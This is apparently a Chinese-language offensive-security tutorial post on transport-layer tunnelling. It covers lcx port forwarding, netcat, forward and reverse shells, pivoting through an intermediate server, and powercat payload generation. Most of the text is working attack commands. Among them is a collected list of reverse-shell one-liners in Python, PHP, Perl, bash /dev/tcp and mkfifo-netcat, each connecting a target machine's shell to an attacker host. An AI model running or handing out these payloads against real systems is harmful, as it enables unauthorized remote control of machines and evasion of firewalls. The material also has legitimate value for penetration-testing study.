0%

隐藏通信隧道技术之传输层

0x00 前言

前面我们学习了网络层的隧道技术(ICMP、IPV6),接下来我们继续学习传输层的隧道技术。

0x01 传输层隧道技术

 传输层的隧道技术主要包括 TCP 隧道,UDP隧道和常规端口转发。当内网防火墙阻止了我们对指定端口的访问,我们可以在获取目标机器的权限后使用 iptables 打开指定的端口。当然如果内网中存在一系列的防御系统,TCP、UDP流量会被大量拦截。

LCX 端口转发

 lcx是一个基于socket 套接字实现的端口转发工具。windows版本为lcx.exe,Linux版本为portmap
 正常的socket隧道必须具备两端:

  1. 一端为服务端,监听一个端口,等待客户端的连接。
  2. 另一端为客户端,通过服务的的ip和端口主动与服务器连接。
1、内网端口转发

在目标主机是执行如下命令,可以将目标主机的3389端口(远程桌面)的所有数据转发到公网vps的4444端口上:

1
lcx.exe -slave <公网主机iP> 4444  127.0.0.1 3389

接着我们可以在vps中使用如下命令,将本机监听到的444端口内容转发给本机的5555端口:

1
2
3
4
windows:
lcx.exe -listen 4444 5555
linux:
./portmap -m 2 -p1 6666 -p2 666 -h1 vps

实验:
现有一台内网机器开启3389(1.1.1.7),但是我们本机无法直接。此时我们使用lcx来端口转发。

  1. 1.1.1.7 上执行如下命令:
    1
    2
    lcx.exe -slave 192.168.152.152 6666 127.0.0.1 3389 
    其中,192.168.152.152 为外网的vps装的kali系统
  2. 192.168.152.152 kali系统中执行如下命令:
    1
    ./portmap  -m 2 -p1 6666 -p2 666 -h1 192.168.152.152

此时已经完成了端口转发,我们在本机可以直接通过连接192.168.152.152:666来进行远程连接,实验完成!

顺带说一说 portscan 的用法,他一共有3种模式用-m 指定模式。还有其它4个参数 -p1 -p2 -h1 -h2 三种模式解释如下:

1
2
3
1.监听port1 端口并且连接主机2的port2 端口
2.监听port1和port2 端口。
3.连接主机1对应的端口和主机对应的端口
2、本地端口映射

 如果目标服务器由于防火墙的配置,部分端口(列如:3389)的数据无法通过防火墙可以将目标服务器相应端口的数据的数据传到防火墙允许的其他端口(列如:53)。在目标主机上执行如下命令,可以直接使用53端口进行远程桌面连接。

1
2
lcx -tran 53 1.1.1.7 3389
意思是把53监听到的数据传到指定ip和端口

netcat(nc)

 之所以叫netcat是因为他是网络上的cat,可以从网络的一端读取数据到另一端输出。

nc的常用参数
  1. 抓取 banner信息 使用 -nv参数
  2. 扫描指定端口 nc -v -z 192.168.152.152 110-1111 需要很久,他会等结束后返回结果。
  3. 端口监听 nc -lp 其中 l 表示监听模式p用来指定端口。一般我们会用 nc -lvp v用来显示详细信息。
  4. 文件传输,大概思路就说我们vps监听一个端口并把内容重定向输出给一个文件,随后我们目标主机主动连接我们vps的指定端口并把一个文件重定向输入。具体命令, vps: nc -lp 333 > 1.txt,目标主机:nc -vn 192.168.152.152 333 -q 1 其中 -q参数是在发送EOF后XX秒断开连接。有些版本有-q 有些无nc传文件
  5. 简易聊天 只需一方监听一方连接即可如:vps nc -lp 888 目标 nc -nv 192.168.152.152 888图片
获取Shell

shell分为两种:
一种是正向shell,另一种是反向shell

  1. 正向shell:客户端连接服务器,客户端想要获取服务器的shell
  2. 反向shell:客户端连接服务器,服务器想要获取客户端的shell

反向shell通常用在开启了防护措施的目标主机上,列如防火墙过滤,端口转发。

1、正向shell

在目标主机中输入以下命令,进行监听主机的端口流量并重定向给其它程序执行:

1
2
nc -lvp 4444 -e /bin/bash                  // linux
nc -lvp 4444 -e c:\windows\system32\cmd.exe // windows

此时我们vps只需要连接就可以了:

1
nc 192.168.227.137 4444

接着我们在vps中输入的命令就会被目标主机当作shell执行

2、反向shell

在vps上监听一个端口,如使用nc -lvp 666。然后再在目标主机使用命令连接vps的这个端口,并重定向程序到cmd或者sh使用命令如下:

1
2
nc 192.168.152.137 9999 -e /bin/sh							//linux
nc 192.168.152.137 -e c:\windows\system32\cmd.exe //windows
3、在目标主机中没有nc时获取反向shell

【以前收集的反弹shellpayload】

  1. python 反向shell
    1
    2
    3
    4
    第一种:
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    或者:
    python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('10.0.0.1',1234))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
  2. PHP反向shell
    1
    php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
  3. 利用中间文件
    1
    cat /tmp/fifo | /bin/bash -i 2>&1 | nc 目标IP 端口 > /tmp/fifo
  4. perl 反向shell
    1
    2
    3
    perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    或者(升级版):
    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
  5. nc版本问题不支持 -e的可以用如下:
    1
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
  6. 其它还有很多,这里我们研究一下 bash -i
    1
    2
    bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
    注意这个是由解析shell的bash完成,所以某些情况下不支持。

我们来分析一下,bash -i是创建一个交互式shell>& 当后面接文件时表标准输出和标准错误输出重定向到文件,也就是/dev/tcp/10.0.0.1/8080而这个文件是一个特殊的设备,相当于给对应IP端口发出一个socket连接。 而最后的 0>&1表示标准输入重定向到标准输出而标准输出又重定向到socket连接。

4、内网代理

环境:kali无法访问数据库服务器,但是可以通过web服务器跳板访问到数据库服务器。

  1. kali执行:
    nc -lvp 3333
  2. 数据库执行:
    nc -lvp 3333 -e /bin/sh
  3. web服务器执行:
    nc -v 192.168.1.4 3333 -C “nc -v 1.1.1.200 3333” 这里的 -C是大C且有些nc不存在-C,它的作用是

发送CRLF作为行结束

原理:把web服务器当作中间机,使kali与数据库通信

powercat

powercat 相当于powershell版nc

1、安装
1
git clone https://github.com/besimorhino/powercat.git

下载后导入模块,然后输入powercat -h 就可以查看到帮助信息:
powercat 帮助信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
主要命令:
-l 监听一个连接
-c 连接到一个监听
-p 指定端口
-e 指定一个程序执行
-ep 执行Powershell
-v 显示详细信息
-r Relay. Format: "-r tcp:10.1.1.1:443" [String]
-u Transfer data over UDP. [Switch]
-dns Transfer data over dns (dnscat2). [String]
-dnsft DNS Failure Threshold. [int32]
-t Timeout option. Default: 60 [int32]
-i 输入,可以直接写字符串也可以写文件
-o Console Output Type: "Host", "Bytes", or "String" [String]
-of 输出文件名,可以在文件名前加路径
-d Disconnect after connecting. [Switch]
-rep Repeater. Restart after disconnecting. [Switch]
-g 生成payload [Switch]
-ge 生成加密 Payload. [Switch]
-h 打印出帮助

看到这里我们发现nc的功能它基本都可以实现,这里我们主要学习一下不太一样的功能。

2、利用powercat -g 生成payload
  1. 在攻击机说执行如下命令来生成payload,获得一个cmd执行shell文件。
    1
    powercat -l -p 8000 -e cmd -v -g >> shell.ps1
  2. 在目标主机允许 我们生成的shell.ps1文件。
  3. 在攻击主机中连接到我们的目标主机指定端口。
    1
    powercat -c 192.168.1.180 -p 8000 -v
    成功获得cmd的shell
    同理如果我们想反弹powershell而不是cmd,那么我们身材payload时使用如下命令:
    1
    powercat -l -p 8000 -ep -v -g >> shell.ps1
    这里 -ep 就说执行powershell
    如果我们需要生成经过编码的payload使用如下命令:
    1
    powercat -l -p 8000 -ep -v -ge >> powershell_ge.ps1
    随后我们在 目标主机使用:powershell -e [编码后的payload] 注意这里是powershell了,不是powercat。
3、powercat作为跳板

环境:
 webserver可ping数据库server和vps,vps不能访问数据库server。
sqlserver(监听):
powercat -l -v -p [本地监听端口] -e cmd.exe
WebServer(连接,监听):
powercat -l -v -p [设置一个监听端口] -r tcp:[sqlserverip:sqlserver监听端口] 注意这里是-r
vps(连接):
nc [webserverIP] [webserver监听端口] -vv


-------------本文结束感谢您的阅读-------------